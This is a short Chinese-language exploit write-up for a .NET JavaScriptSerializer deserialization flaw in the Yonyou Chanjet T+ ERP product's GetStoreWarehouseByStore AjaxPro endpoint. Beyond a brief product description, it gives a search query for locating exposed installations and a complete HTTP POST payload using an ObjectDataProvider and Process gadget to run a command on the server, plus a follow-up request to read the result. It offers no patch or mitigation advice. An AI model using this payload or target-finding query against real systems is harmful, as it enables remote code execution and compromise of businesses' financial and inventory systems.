用友畅捷通TPlus GetStoreWarehouseByStore .net反序列化漏洞
一、漏洞简介
畅捷通T+专属云适用于需要一体化管理的企业,财务管理、业务管理、零售管理、生产管理、物流管理、移动仓管、营销管理、委外加工等人财货客一体化管理。该漏洞属于.net反序列化场景中的 JavaScriptSerializer反序列化。在.NET处理 Ajax应用的时候,通常序列化功能由JavaSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web…Serialization、通过System.Web.Extensions引用,让开发者轻松实现.Net中所有类型和Json数据之间的转换,但在某些场景下开发者使用Deserialize 或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞。
二、影响版本
- 用友畅捷通TPlus
三、资产测绘
- hunnter
app.name="畅捷通 T+"
- 登录页面
四、漏洞复现
- 当回显为
actorId
或archivesId
不能为空,则表示存在该漏洞
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
X-Ajaxpro-Method: GetStoreWarehouseByStore
User-Agent: Java/1.8.0_381
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 566
Connection: close
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo":{
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c whoami > 1.txt"
}
}
}
}
- 漏洞回显为
GET /tplus/1.txt HTTP/1.1
X-Ajaxpro-Method: GetStoreWarehouseByStore
User-Agent: Java/1.8.0_381
Host: vps2.98k.icu:18080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close